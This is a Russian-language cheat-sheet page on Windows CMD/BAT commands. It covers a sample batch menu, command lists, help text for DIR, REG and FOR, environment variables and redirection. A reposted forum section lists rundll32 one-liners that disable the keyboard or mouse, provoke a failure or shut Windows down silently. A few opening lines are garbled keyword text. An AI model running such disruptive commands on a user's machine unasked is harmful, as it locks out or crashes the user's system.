цикла Driverquery входите но ASCII памяти, базой
Телефон службы поддержки:
+7(903)756-28-61
  [ Промышленный дизайн - www.MainCrafT.org ]  •••  [ Размещение статьи на этом сайте: 100р = 1год ]

 
Назад в раздел:

Обучение


Реклама:
 

ICQ консультации:

149 807 234 



ты список ключ у в LEQ которых
 
www.shleg.ruwww.digitalvita.ru
www.phototitle.ru
Locations of visitors to this page
www.people-exe.maincraft.org
oldmaincraft_2009-10-28
www.people-exe.narod.ru
clan-dn
 

Мотиватор:
+40
-23
ВНИМАНИЕ!!!
MainCrafT НЕ MineCrafT
Данный сайт не имеет отношения к игре http://www.minecraft.net/
Подробности: http://www.google.ru/search?q=minecraft
MainCrafT NOT MineCrafT
This site has no relation to the game http://www.minecraft.net/
Details: http://www.google.com/search?q=minecraft

 
Шпаргалка (помощь) по CMD - BAT командам

@ echo off

rem c:/Windows/Help/ntcmds.chm - Справка поBAT - CMD

Title UNRAR

COLOR 0A

:start

cls

echo -----------------------------

echo    0 - Exit Programm

echo    1 - UnRar

echo    2 - ----

echo    3 - ----

echo    4 - ----

echo -----------------------------

Set /P tgoto=

if %tgoto% == 0 goto exit

if %tgoto% == 1 goto begin

if %tgoto% == 2 goto start

if %tgoto% == 3 goto start

if %tgoto% == 4 goto start

echo input 0 - 4

Pause>nul

goto start

:begin

rem "C:\Program Files\WinRAR\RAR.exe" /?

unrar 002.rar

Pause>nul

goto start

exit

:exit

exit


    ASSOC - Отображает или модифицирует связи расширений файлов

    AT - Планирует команды и программы для выполнения на компьютере.

    ATTRIB - Отображает или изменяет атрибуты файла.

    BREAK - Устанавливает или отменяет проверку комбинации [Ctrl+C].

    CACLS - Отображает или модифицирует списки управления доступом (ACLs) для файлов.

    CALL - Вызывает один *.BAT-файл из другого.

    CD - Отображает имя или изменяет имя текущей директории.

    CHCP - Отображает или устанавливает номер активной кодовой страницы.

    CHDIR - Отображает имя или изменяет имя текущей директории.

    CHKDSK - Проверяет диск и отображает отчет о состоянии.

    CLS - Очищает экран.

    CMD - Стартует новый экземпляр интерпретатора команд Windows NT.

    COLOR - Устанавливает цвета по умолчанию для переднего и заднего плана консоли.

    COMMAND - Стартует новую копию интерпретатора команд Windows.

    COMP - Сравнивает содержимое двух файлов или установки файлов.

    COMPACT - Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).

    CONVERT - Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.

    COPY - Копирует один или больше файлов на другое место.

    CTTY - Изменяет терминальное устройство, используемое для управления вашей системой.

    DATE - Отображает или устанавливает дату.

    DEL - Удаляет один или более файлов.

    DEBUG - Выполняет отладку, тестирование программ и редактирование инструментальных средств.

    DIR - Отображает список файлов и поддиректорий в директории.

    DISKCOMP - Сравнивает содержимое двух дискет.

    DISKCOPY - Копирует содержимое одной дискеты на другую.

    DOSKEY - Редактирует командные строки, восстанавливает команды Windows и создает макрос.

    ECHO - Отображает сообщения, или включает/выключает вывод команд.

    EMM386 - Включает/выключает поддержку расширенной памяти EMM386.

    ENDLOCAL - Заканчивает локализацию изменений окружающей среды в *.BAT-файле.

    ERASE - Удаляет один или более файлов.

    EXIT - Прекращает выполнение программы "CMD.EXE" (интерпретатор команд).

    EXTRACT - Средство извлечения информации из CAB - файлов.

    FC - Сравнивает два файла или установки файлов, и отображает различие между ними.

    FIND - Ищет текстовую строку в файле или файлах.

    FINDSTR - Поиск строк в файлах.

    FOR - Выполняет указанную команду для каждого файла в наборе файлов.

    FORMAT - Форматирует диск для использования с Windows.

    FTYPE - Отображает или модифицирует типы файлов, используемых в связях расширений.

    GOTO - Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.

    GRAFTABL - Способность Windows отображать символы псевдографики, вставленные в графическом режиме.

    HELP - Обеспечивает информацию Help для команд Windows.

    IF - Выполняет обработку условия в *.BAT-файле.

    KEYB - Конфигурирует клавиатуру для заданного языка.

    LABEL - Создает, изменяет, или удаляет метку тома на диске.

    LOADHIGH(LH) - Загружает программу в верхние адреса памяти.

    MD - Создает директорию.

    MEM - Отображает величину используемой и свободной памяти в вашей системе.

    MKDIR - Создает директорию.

    MODE - Конфигурирует системное устройство.

    MORE - Отображает вывод одного экрана за раз.

    MOVE - Перемещает один или более файлов из одной директории в другую на том же диске.

    NETSTAT - Отображает статистики протоколов и текущих сетевых соединений TCP/IP.

    NLSFUNC - Загружает информацию, специфическую для страны.

    PATH - Отображает или устанавливает путь поиска для выполняемых файлов.

    PAUSE - Приостанавливает обработку *.BAT-файла и отображает сообщение.

    POPD - Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.

    PRINT - Печатает текстовый файл.

    PROMPT - Изменяет подсказку к командам Windows.

    PUSHD - Сохраняет текущую директорию, потом изменяет.

    RD - Удаляет директорию.

    RECOVER - Восстанавливает читаемую информацию с плохого или дефектного диска.

    REM - Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.

    REN - Переименует файл или файлы.

    RENAME - Переименует файл или файлы.

    REPLACE - Заменяет файлы.

    RESTORE - Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.

    RMDIR - Удаляет директорию.

    SET - Отображает, устанавливает или удаляет переменные среды Windows.

    SETLOCAL - Начинает локализацию изменений среды в *.BAT-файле.

    SETVER - Устанавливает номер версии MS-DOS, который Windows сообщает программе.

    SHIFT - Сдвигает позицию замещаемых параметров в *.BAT-файле.

    SMARTDRV - Инсталлирует и конфигурирует утилиту кэширования диска SMART - драйва.

    SORT - Сортирует входной поток.

    START - Стартует отдельное окно для выполнения указанной программы или команды.

    SUBST - Связывает путь с литерой диска.

    SYS - Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.

    TIME - Отображает или устанавливает системное время.

    TITLE - Устанавливает заголовок окна для сеанса "CMD.EXE" .

    TREE - Графически отображает структуру директория в драйве или путь.

    TYPE - Отображает содержимое текстового файла.

    VER - Отображает версию Windows.

    VERIFY - Сообщает Windows, проверять ли правильность записи файлов на диск.

    VOL - Отображает метку дискового тома и серийный номер.

    XCOPY - Копирует файлы и деревья директории.


Установка цветов по умолчанию для текста и фона в текстовых окнах.

COLOR [цвета]

  цвета       Атрибуты цветов для текстовых окон

Атрибуты цветов задаются в виде ДВУХ шестнадцатеричных цифр -- первая задает цвет фона, а вторая определяет цвет текста.  Каждая цифра может иметь следующие значения:

    0 = Черный      8 = Серый

    1 = Синий       9 = Светло-синий

    2 = Зеленый     A = Светло-зеленый

    3 = Голубой     B = Светло-голубой

    4 = Красный     C = Светло-красный

    5 = Лиловый     D = Светло-лиловый

    6 = Желтый      E = Светло-желтый

    7 = Белый       F = Ярко-белый

Если аргумент не указан, команда восстанавливает исходный выбор цветов, каким он был на момент запуска CMD.EXE.  Это значение извлекается из текущего текстового окна, из значения ключа /T или из значения параметра реестра DefaultColor.


Вывод или изменение времени.

TIME [/T | время]

Введите TIME без параметров для вывода текущего времени и запроса на ввод нового времени.  Нажмите клавишу ENTER для сохранения текущего времени. Когда расширенная обработка команд включена, команда TIME поддерживает ключ /T, позволяющий просто вывести текущее значение времени без запроса нового времени.


Графическое представление структуры папок или пути.

TREE [диск:][путь] [/F] [/A]

   /F   Вывод имен файлов в каждой папке.

   /A   Использовать символы ASCII вместо символов национальных алфавитов.


Вывод имени либо смена текущего каталога.

CHDIR [/D] [диск:][путь]

CHDIR [..]

CD [/D] [диск:][путь]

CD [..]

  ..  обозначает переход в родительский каталог. Команда CD диск: отображает имя текущего каталога указанного диска. Команда CD без параметров отображает имена текущих диска и каталога. Параметр /D используется для одновременной смены текущих диска и каталога. Изменение команды CHDIR при включении расширенной обработки команд: Имя текущего каталога в строке вызова преобразуется к тому же регистру символов, что и для существующих имен на диске.  Так, команда CD C:\TEMP на самом деле сделает текущим каталог C:\Temp, если он существует на диске. Команда CHDIR перестает рассматривать пробелы как разделители, что позволяет перейти в подкаталог, имя которого содержит пробелы, не заключая все имя каталога в ковычки.


Вывод списка файлов и подкаталогов из указанного каталога.

DIR [диск:][путь][имя_файла] [/A[[:]атрибуты]] [/B] [/C] [/D] [/L] [/N]

  [/O[[:]порядок]] [/P] [/Q] [/S] [/T[[:]время]] [/W] [/X] [/4]

  [диск:][путь][имя_файла]

            Диск, каталог и/или файлы, которые следует включить в список.

  /A        Вывод файлов с указанными атрибутами.

  атрибуты   D  Каталоги                    R  Доступные только для чтения

             H  Скрытые файлы               A  Файлы для архивирования

             S  Системные файлы             Префикс "-" имеет значение НЕ

  /B        Вывод только имен файлов.

  /C        Применение разделителя групп разрядов для вывода размеров файлов

            (по умолчанию).  Для отключения этого режима служит ключ /-C.

  /D        Вывод списка в несколько столбцов с сортировкой по столбцам.

  /L        Использование нижнего регистра для имен файлов.

  /N        Отображение имен файлов в крайнем правом столбце.

  /O        Сортировка списка отображаемых файлов.

  порядок    N  По имени (алфавитная)       S  По размеру (сперва меньшие)

             E  По расширению (алфавитная)  D  По дате (сперва более старые)

             G  Начать список с каталогов   Префикс "-" обращает порядок

  /P        Пауза после заполнения каждого экрана.

  /Q        Вывод сведений о владельце файла.

  /S        Вывод списка файлов из указанного каталога и его подкаталогов.

  /T        Выбор поля времени для отображения и сортировки

  время      C  Создание

             A  Последнее использование

             W  Последнее изменение

  /W        Вывод списка в несколько столбцов.

  /X        Отображение коротких имен для файлов, чьи имена не соответствуют стандарту 8.3. Формат аналогичен выводу с ключом /N, но короткие имена файлов выводятся слева от длинных. Если короткого имени у файла нет, вместо него выводятся пробелы.

  /4        Вывод номера года в четырехзначном формате

Стандартный набор ключей можно записать в переменную среды DIRCMD. Для отмены их действия введите в команде те же ключи с префиксом "-", например: /-W.


Просмотр полной версии : Bat команды http://hack-world.org/archive/index.php/t-304.html Iron 19.09.2009, 14:30

reg - непосредственная работа с реестром. Смотреть reg /? всем!

rcp - обмен файлами через rcp в ascii

runas - от имени пользователя

tasklist - отображает приложения и сеансы, связанные с ним.

taskkill - позволяет завершить один или несколько процессов

tftp - trivial ftp

tskill - убить процесс

reg - утилита взаимодействия с реестром

bootcfg - настройка boot.ini

append - позволяет открывать удаленные файлы так, словно они находятся в текущем.

getmac - получить мас

logoff - Заверщить пользовательский сеанс.

mem - вывод на экран сведений о текущих процессах в ОЗУ

mqbkup - архивирование

netsh - ??

openfiles - просмотреть открытые файлы.

rsh - выполнение команд на удаленных узлах с запущеной rsh

sc - command line ??

rexec - выполнение команд на удаленных узлах с запущеной rexec

shutdown - выключить(хе-хе) local or remote computer.

systeminfo - вывод инфы о компе.

schtasks - планировщик заданий.

xcopy - копирование файлов и каталогов.

tsshutdn - завершение работы сервера в установленом порядке.

set - вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн."мой комп") - дополнительно - Переменные среды. Там не все переменные, но много! Все смотреть просто set.

Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников

rundll32 user,wnetdisconnectdialog

Окно "Отключение сетевого диска" Вызвать

rundll32 user,disableoemlayer

Сбой пpовоциpовать

rundll32 user,repaintscreen

Обновить(как<F5>)

rundll32 user,setcursorpos

Maus-Cursor слева ввеpх посадить

rundll32 diskcopy,DiskCopyRunDll

Окно"Copy Disk" вызвать

rundll32 rnaui.dll,RnaWizard /1

Диалог "Установка Связи" вызвать (/1 = без окна)

rundll32 shell,shellexecute

Explorer-Окно откpыть в коpневом каталоге

rundll32 shell32,OpenAs_RunDLL

Окно"Откpыть с помощью..." вызвать***

rundll32 shell32,SHFormatDrive

Окно"Фоpматиpование: Диск3,5(А)" вызвать

rundll32 shell32,ShellAboutA

Info-Box (оWindows) вызвать

rundll32 shell32,SHExitWindowsEx 0

Windows 98 заново стаpтанyть(безautoexec.bat и дp.)

rundll32 shell32,SHExitWindowsEx 1

Работy сWindows 98 закончить

rundll32 shell32,SHExitWindowsEx 2

Windows-98-PC boot

rundll32 shell32,SHExitWindowsEx -1

Windows-98-Explorer стаpтанyть заново

rundll32 shell32,Control_RunDLL

Откpыть окно"Панельyпpавления"

rundll32 shell32,Control_RunDLL desk.cpl

Откpыть"Свойства Экpана"

rundll32 shell32,Control_RunDLL main.cpl <n>

ОткpытьModul-Панелиyпpавления изMAIN.CPL **

rundll32 krnl386.exe,exitkernel

выход изWindows без любых сообщений/вопpосов

rundll32 user,swapmousebutton

"Пеpеставить" клавиши мыши*

rundll32 keyboard,disable

"Отключить" клавиатypy *

rundll32 mouse,disable

"Отключить" мышь*

rundll rnaui.dll,RnaDial "пpовайдеp"

Вызвать окно "Установка связи" с именем "пpовайдеp"

rundll32 user,tilechildwindows

выстpоить все не свёpнyтые окна свеpхy вниз

rundll32 user,cascadechildwindows

выстpоить все не свёpнyтые окна каскадом

rundll32 sysdm.cpl,InstallDevice_Rundll

(единств. возможность в W98) yстановить non-Plug&Play обоpyдование

rundll32 msprint2.dll,RUNDLL_PrintTestPage

выбpать в появившемся меню пpинтеp и послать а него тест

rundll32 user,setcaretblinktime <n>

yстановить новyю частотy мигания <n> кypсоpа *

rundll32 user, setdoubleclicktime <n>

yстановить новyю скоpость <n> двойного нажатия *

rundll32 setupx.dll,InstallHinfSection

DefaultInstall 130; C:\file.inf

окно "Пеpезапyск системы. Пpоизвести её сейчас ? ъ Да/нет ъ" ****


ASSOC - Отображает или модифицирует связи расширений файлов

AT - Планирует команды и программы для выполнения на компьютере.

ATTRIB - Отображает или изменяет атрибуты файла.

BREAK - Устанавливает или отменяет проверку комбинации [Ctrl+C].

CACLS - Отображает или модифицирует списки управления доступом (ACLs) для файлов.

CALL - Вызывает один *.BAT-файл из другого.

CD - Отображает имя или изменяет имя текущей директории.

CHCP - Отображает или устанавливает номер активной кодовой страницы.

CHDIR - Отображает имя или изменяет имя текущей директории.

CHKDSK - Проверяет диск и отображает отчет о состоянии.

CLS - Очищает экран.

CMD - Стартует новый экземпляр интерпретатора команд Windows NT.

COLOR - Устанавливает цвета по умолчанию для переднего и заднего плана консоли.

COMMAND - Стартует новую копию интерпретатора команд Windows.

COMP - Сравнивает содержимое двух файлов или установки файлов.

COMPACT - Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).

CONVERT - Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.

COPY - Копирует один или больше файлов на другое место.

CTTY - Изменяет терминальное устройство, используемое для управления вашей системой.

DATE - Отображает или устанавливает дату.

DEL - Удаляет один или более файлов.

DEBUG - Выполняет отладку, тестирование программ и редактирование инструментальных средств.

DIR - Отображает список файлов и поддиректорий в директории.

DISKCOMP - Сравнивает содержимое двух дискет.

DISKCOPY - Копирует содержимое одной дискеты на другую.

DOSKEY - Редактирует командные строки, восстанавливает команды Windows и создает макрос.

ECHO - Отображает сообщения, или включает/выключает вывод команд.

EMM386 - Включает/выключает поддержку расширенной памяти EMM386.

ENDLOCAL - Заканчивает локализацию изменений окружающей среды в *.BAT-файле.

ERASE - Удаляет один или более файлов.

EXIT - Прекращает выполнение программы (интерпретатор команд).

EXTRACT - Средство извлечения информации из CAB - файлов.

FC - Сравнивает два файла или установки файлов, и отображает различие между ними.

FIND - Ищет текстовую строку в файле или файлах.

FINDSTR - Поиск строк в файлах.

FOR - Выполняет указанную команду для каждого файла в наборе файлов.

FORMAT - Форматирует диск для использования с Windows.

FTYPE - Отображает или модифицирует типы файлов, используемых в связях расширений.

GOTO - Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.

GRAFTABL - Способность Windows отображать символы псевдографики, вставленные в графическом режиме.

HELP - Обеспечивает информацию Help для команд Windows.

IF - Выполняет обработку условия в *.BAT-файле.

KEYB - Конфигурирует клавиатуру для заданного языка.

LABEL - Создает, изменяет, или удаляет метку тома на диске.

LOADHIGH(LH) - Загружает программу в верхние адреса памяти.

MD - Создает директорию.

MEM - Отображает величину используемой и свободной памяти в вашей системе.

MKDIR - Создает директорию.

MODE - Конфигурирует системное устройство.

MORE - Отображает вывод одного экрана за раз.

MOVE - Перемещает один или более файлов из одной директории в другую на том же диске.

NETSTAT - Отображает статистики протоколов и текущих сетевых соединений TCP/IP.

NLSFUNC - Загружает информацию, специфическую для страны.

PATH - Отображает или устанавливает путь поиска для выполняемых файлов.

PAUSE - Приостанавливает обработку *.BAT-файла и отображает сообщение.

POPD - Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.

PRINT - Печатает текстовый файл.

PROMPT - Изменяет подсказку к командам Windows.

PUSHD - Сохраняет текущую директорию, потом изменяет.

RD - Удаляет директорию.

RECOVER - Восстанавливает читаемую информацию с плохого или дефектного диска.

REM - Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.

REN - Переименует файл или файлы.

RENAME - Переименует файл или файлы.

REPLACE - Заменяет файлы.

RESTORE - Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.

RMDIR - Удаляет директорию.

SET - Отображает, устанавливает или удаляет переменные среды Windows.

SETLOCAL - Начинает локализацию изменений среды в *.BAT-файле.

SETVER - Устанавливает номер версии MS-DOS, который Windows сообщает программе.

SHIFT - Сдвигает позицию замещаемых параметров в *.BAT-файле.

SMARTDRV - Инсталлирует и конфигурирует утилиту кэширования диска SMART - драйва.

SORT - Сортирует входной поток.

START - Стартует отдельное окно для выполнения указанной программы или команды.

SUBST - Связывает путь с литерой диска.

SYS - Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.

TIME - Отображает или устанавливает системное время.

TITLE - Устанавливает заголовок окна для сеанса .

TREE - Графически отображает структуру директория в драйве или путь.

TYPE - Отображает содержимое текстового файла.

VER - Отображает версию Windows.

VERIFY - Сообщает Windows, проверять ли правильность записи файлов на диск.

VOL - Отображает метку дискового тома и серийный номер.

XCOPY - Копирует файлы и деревья директории.

dark.spirit 10.07.2010, 06:52

Встроеный справочник по параметрам командной строки:

Win+R » cmd » hh ntcmds.chm

либоWin+R » %WinDir%\Help\ntcmds.chm

либо ярлык с%WinDir%\Help\ файлntcmds.chm


Список переменных

В современных ОС компании Microsoft, построенных на платформе NT, для получения информации о системе используются следующие переменные (Полужирным выделен текст, применяемый только к Windows Vista/7):

Название Тип Описание
ALLUSERSPROFILE локальная Возвращает размещение профиля «All Users». В Windows 7 возвращает путь на папку C:\ProgramData\
APPDATA системная Возвращает используемое по умолчанию размещение данных приложений. ВWindows XP этоC:\Documents and Settings\%UserName%\Application Data. ВWindows 7 C:\Users\%UserName%\AppData\Roaming
CD локальная Указывает путь текущей папки. Идентична команде CD без аргументов.
CMDCMDLINE локальная точная команда использованная для запуска текущего cmd.exe.
CMDEXTVERSION системная версия текущегоCommand Processor Extensions.
COMMONPROGRAMFILES системная Расположение каталога"Common Files" (обычно%ProgramFiles%\Common Files)
COMMONPROGRAMFILES(x86) системная Расположение каталога"Common Files" вProgram Files (x86) дляx64 ОС(обычно%ProgramFiles(x86)%\Common Files)
COMPUTERNAME системная имя компьютера
COMSPEC системная путь до исполняемого файла shell
DATE системная Возвращает текущую дату. Использует тот же формат, что и команда date /t. Создается командой Cmd.exe.
ERRORLEVEL системная Возвращает код ошибки последней использовавшейся команды. Значение, не равное нулю, обычно указывает на наличие ошибки.
HOMEDRIVE системная Возвращает имя диска локальной рабочей станции, связанного с основным каталогом пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы».
HOMEPATH системная Возвращает полный путь к основному каталогу пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы».
HOMESHARE системная Возвращает сетевой путь к общему основному каталогу пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы».
LOCALAPPDATA системная Возвращает используемое по умолчанию локальное размещение данных приложений (C:\Users\%UserName%\AppData\Local)
LOGONSERVER локальная имя контроллера домена, использовавшегося для авторизации текущего пользователя
NUMBER_OF_PROCESSORS системная количество процессоров в системе
OS системная название операционной системы. Windows XP и Windows 2000 отображаются как Windows_NT.
PATH системная Указывает путь поиска для исполняемых файлов.
PATHEXT системная Возвращает список расширений файлов, которые рассматриваются операционной системой как исполняемые.
PROCESSOR_ARCHITECTURE системная архитектура процессора. Возможные варианты: x86, IA64.
PROCESSOR_IDENTIFIER системная описание процессора (в Интернете часто встречается ошибочное написание PROCESSOR_IDENTFIER - пропущена буква)
     
     
     
     
     

PROCESSOR_LEVEL                        системная         номер модели процессора

PROCESSOR_REVISION                                системная         ревизия процессора

PROGRAMDATA                                             системная         Возвращает путь на папку C:\ProgramData\ (аналогично ALLUSERSPROFILE)

PROGRAMFILES                                              системная        путь к папкеProgram Files

PROGRAMFILES(x86)                    системная         путь к папке Program Files (x86) в x64 системах, для приложений архитектуры x86

PROMPT                                                                            локальная         Возвращает параметры командной строки для текущего интерпретатора. Создается командой Cmd.exe.

PUBLIC                                                                               системная         В Windows 7 возвращает путь на папку C:\Users\Public

RANDOM                                                                          системная         случайное десятичное число от 0 до 32767. Генерируется Cmd.exe

SESSIONNAME                                                ?             Значение по умолчанию "Console"

SYSTEMDRIVE                                  системная         диск, на котором расположена корневая папка Windows

SYSTEMROOT                                                   системная         путь к корневой папке Windows

TEMP or TMP                                   системная и локальная              Возвращает временные папки, по умолчанию используемые приложениями, которые доступны пользователям, выполнившим вход в систему. Некоторые приложения требуют переменную TEMP, другие — переменную TMP. Потенциально TEMP и TMP могут указывать на разные каталоги, но обычно - совпадают.

TIME                                                                    системная         Возвращает текущее время. Использует тот же формат, что и команда time /t. Создается командой Cmd.exe. Дополнительные сведения о команде time см. в разделе Time.

USERDOMAIN                                                 локальная         имя домена, которому принадлежит текущий пользователь

USERNAME                                                       локальная         имя текущего пользователя

USERPROFILE                                   локальная         путь к профайлу текущего пользователя

WINDIR                                                                              системная         директория в которую установлена Windows


Программа редактирования системного реестра из командной строки, версия 3.0

(C) Корпорация Майкрософт, 1981-2001. Все права защищены

REG <Операция> [Список параметров]

  <Операция> ==  [ QUERY   | ADD    | DELETE  | COPY    |

                   SAVE    | LOAD   | UNLOAD  | RESTORE |

                   COMPARE | EXPORT | IMPORT ]

Код возврата: (за исключением REG COMPARE) 0 - Успешно / 1 - С ошибкой

Для получения справки по определенной операции введите:

  REG <Operation> /?

  REG QUERY /?

  REG ADD /?

  REG DELETE /?

  REG COPY /?

  REG SAVE /?

  REG RESTORE /?

  REG LOAD /?

  REG UNLOAD /?

  REG COMPARE /?

  REG EXPORT /?

  REG IMPORT /?


Среда исполнения программ. Переменные среды. Стандартные потоки

Среда исполнения программ

Современные операционные системы при запуске программ (приложений, создании процессов) создают так называемую среду исполнения программ (иногда используется термин «окружение» — от англ. environment), которая используется для передачи запускаемому процессу дополнительной информации:

  - Информации о параметрах той вычислительной установки и ОС, в которой будет выполняться процесс.

  - Информации о предпочтениях пользователя, запустившего процесс.

  - Дополнительной информации, которую желательно передать процессу.

Переменные среды

Среда исполнения программ реализуется в виде набора строковых переменных (пар {имя, значение}). Такая реализация среды принята и в Windows, и в Unix/Linux. Эти строковые переменные называются переменными среды (окружения).

Операционная система задаёт некоторый предопределённый набор таких пар. Например, Windows XP может использовать следующий набор переменных среды:

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CLASSPATH=.;C:\SQLLIB\java\db2java.zip;C:\SQLLIB\java\runtime.zip;C:\SQLLIB\java\sqlj.zip

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=HOME

ComSpec=C:\WINDOWS\system32\cmd.exe

FARLANG=English

HOMEDRIVE=C:

HOMEPATH=\Documents and Settings\vak

LOGONSERVER=\\HOME

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Path= C:\Perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\PHP4.3.10\dlls;C:\PHP4.3.10\cli;C:\PHP4.3.10

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PHPRC=C:\PHP4.3.10

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 15 Model 2 Stepping 9, GenuineIntel

PROCESSOR_LEVEL=15

PROCESSOR_REVISION=0209

ProgramFiles=C:\Program Files

PROMPT=$P$G

SESSIONNAME=Console

SystemDrive=C:

SystemRoot=C:\WINDOWS

TEMP=C:\TEMP

TMP=C:\TEMP

USERDOMAIN=HOME

USERNAME=vak

USERPROFILE=C:\Documents and Settings\vak

windir=C:\WINDOWS

Некоторые из переменных среды в приведённом примере относятся к аппаратуре:

NUMBER_OF_PROCESSORS=1

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 15 Model 2 Stepping 9, GenuineIntel

PROCESSOR_LEVEL=15

PROCESSOR_REVISION=0209

Другие— к описанию компьютера:

COMPUTERNAME=HOME

LOGONSERVER=\\HOME

USERDOMAIN=HOME

Третьи — к самой ОС:

OS=Windows_NT

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

ProgramFiles=C:\Program Files

SystemDrive=C:

SystemRoot=C:\WINDOWS

windir=C:\WINDOWS

Четвёртые описывают важные места в файловой системе: пути к каталогам, в которых следует разыскивать исполняемые программы и к каталогу, в котором следует создавать временные файлы:

Path= C:\Perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\PHP4.3.10\dlls;C:\PHP4.3.10\cli;C:\PHP4.3.10

TEMP=C:\TEMP

TMP=C:\TEMP

Пятые содержат информацию о пользователе:

USERNAME=vak

USERPROFILE=C:\Documents and Settings\vak

HOMEDRIVE=C:

HOMEPATH=\Documents and Settings\vak

Шестые — о характеристиках интерактивного процесса:

PROMPT=$P$G

SESSIONNAME=Console

ComSpec=C:\WINDOWS\system32\cmd.exe

Некоторые переменные среды относятся к отдельным приложениям, установленным в системе:

CLASSPATH=.;C:\SQLLIB\java\db2java.zip;C:\SQLLIB\java\runtime.zip;C:\SQLLIB\java\sqlj.zip

FARLANG=English

PHPRC=C:\PHP4.3.10

Пользователь может создавать переменные среды непосредственно перед запуском программы. В Windows для этого используется команда set (в окне командной строки):

set logFile=C:\gsBuild.log

Переменные среды исполнения программы используются приложением для адаптации своего поведения к конкретной среде, в которой оно выполняется.

Стандартные потоки

Консольный интерактивный процесс во всех операционных системах использует три стандартных потока данных:

  - Стандартный поток ввода данных. Обычно источником данных для этого потока служит клавиатура.

  - Стандартный поток вывода данных. Обычно приёмником данных для этого потока служит окно консоли (командной строки).

  - Стандартный поток вывода сообщений об ошибках. Обычно приёмником данных для этого потока служит окно консоли (командной строки) — так же, как и для стандартного потока вывода.

Большинство системных обслуживающих программ в операционных системах реализованы в виде консольных приложений.

Графические интерактивные процессы не имеют стандартных потоков ввода/вывода.

Стандартные потоки можно перенаправлять. Если нужно перенаправить результат выполнения команды (стандартный поток вывода) не на консоль, а в файл, то следует использовать знак «больше»:

echo Перенаправили!> someFile.txt

В результате выполнения приведённого примера в файле someFile.txt окажется строка «Перенаправили!».

Использование символа > для перенаправления стандартного потока вывода приводит к созданию нового файла, имя которого указано в качестве имени приёмника данных. Если файл с таким именем существовал, то он уничтожается и создаётся вновь. Часто такое поведение нежелательно, а необходима запись результатов работы программы в конец файла (например, для программ протоколирования). Для модификации перенаправления стандартного потока вывода, дописывающей в конец существующего файла, используется обозначение >>:

echo Ещё одна строка.>> someFile.txt

В результате в файле someFile.txt образуется две строки:

Перенаправили!

Ещё одна строка.

Для перенаправления стандартного потока ввода (использования данных, хранящихся в файле, вместо клавиатурного ввода пользователя), применяется знак «меньше» (команда sort — сортировка — берёт данные из стандартного ввода):

sort < someFile.txt > otherFile.txt

В результате файл otherFile.txt будет содержать строки файла someFile.txt в лексикографическом порядке:

Ещё одна строка.

Перенаправили!

Стандартный поток сообщений об ошибках перенаправляется с помощью обозначения 2>.

Перенаправление можно делать не только в файл (из файла), но и с использованием т.н. псевдоустройств. Наиболее популярным из псевдоустройств является устройство с именем nul (/dev/nul в Unix/Linux). Это псевдоустройство всегда возвращает конец файла при использовании его в качестве источника данных, и молча проглатывает любое количество данных при использовании его в качестве приёмника. Таким образом, например, можно подавить сообщения системной программы copy:

copy a.txt b.txt > nul

Кроме перенаправления, для стандартных потоков можно использовать так называемые каналы, с помощью которых данные, направляемые в стандартный поток вывода одной программой, приходят на стандартный поток ввода другой программы. Канал обозначается вертикальной чертой:

rar /? | more

В приведённом примере справка архиватора Rar будет направлена в канал, данные из которого поступят на вход программе more, которая позволяет просматривать данные, поступившие на её стандартный поток ввода, по одному экрану.

Операционные системы обычно предоставляют и другие средства для работы со стандартными потоками ввода/вывода.


FOR /F "usebackq tokens=*" %%i IN (`cd`) DO set CurrentDir=%%i

ECHO %CurrentDir%

А все-таки, можно ли в переменную "заталкивать" результат выполнения команды?

For /F "Delims=" %%I In ('Hostname') Do Set V=%%~I

Echo !V!

Если можно, хочу уточнить в чем разница между Echo !V! и Echo %V% ?

!V! - связывание времени выполнения (включается с помощью EnableDelayedExpansion). Подробнее можно почитать в описании команды Set:

set /?

Вообще в вашем примере работает и %V% (потому что подстановка значения не происходит внутри цикла (For) или условия (If)).


Выполнение указанной команды для каждого файла набора.

FOR %переменная IN (набор) DO команда [параметры]

  %переменная Подставляемый параметр.

  (набор)     Набор, состоящий из одного или нескольких файлов.

              Допускается использование подстановочных знаков.

  команда     Команда, которую следует выполнить для каждого файла.

  параметры   Параметры и ключи для указанной команды.

В пакетных файлах для команды FOR используется запись

%%переменная вместо %переменная. Имена переменных

учитывают регистр букв (%i отличается от %I).

Добавление поддерживаемых вариантов команды FOR при включении расширенной

обработки команд:

FOR /D %переменная IN (набор) DO команда [параметры]

    Если набор содержит подстановочные знаки, команда выполняется для всех

    подходящих имен каталогов, а не имен файлов.

FOR /R [[диск:]путь] %переменная IN (набор) DO команда [параметры]

    Выполнение команды для каталога [диск:]путь, а также для всех

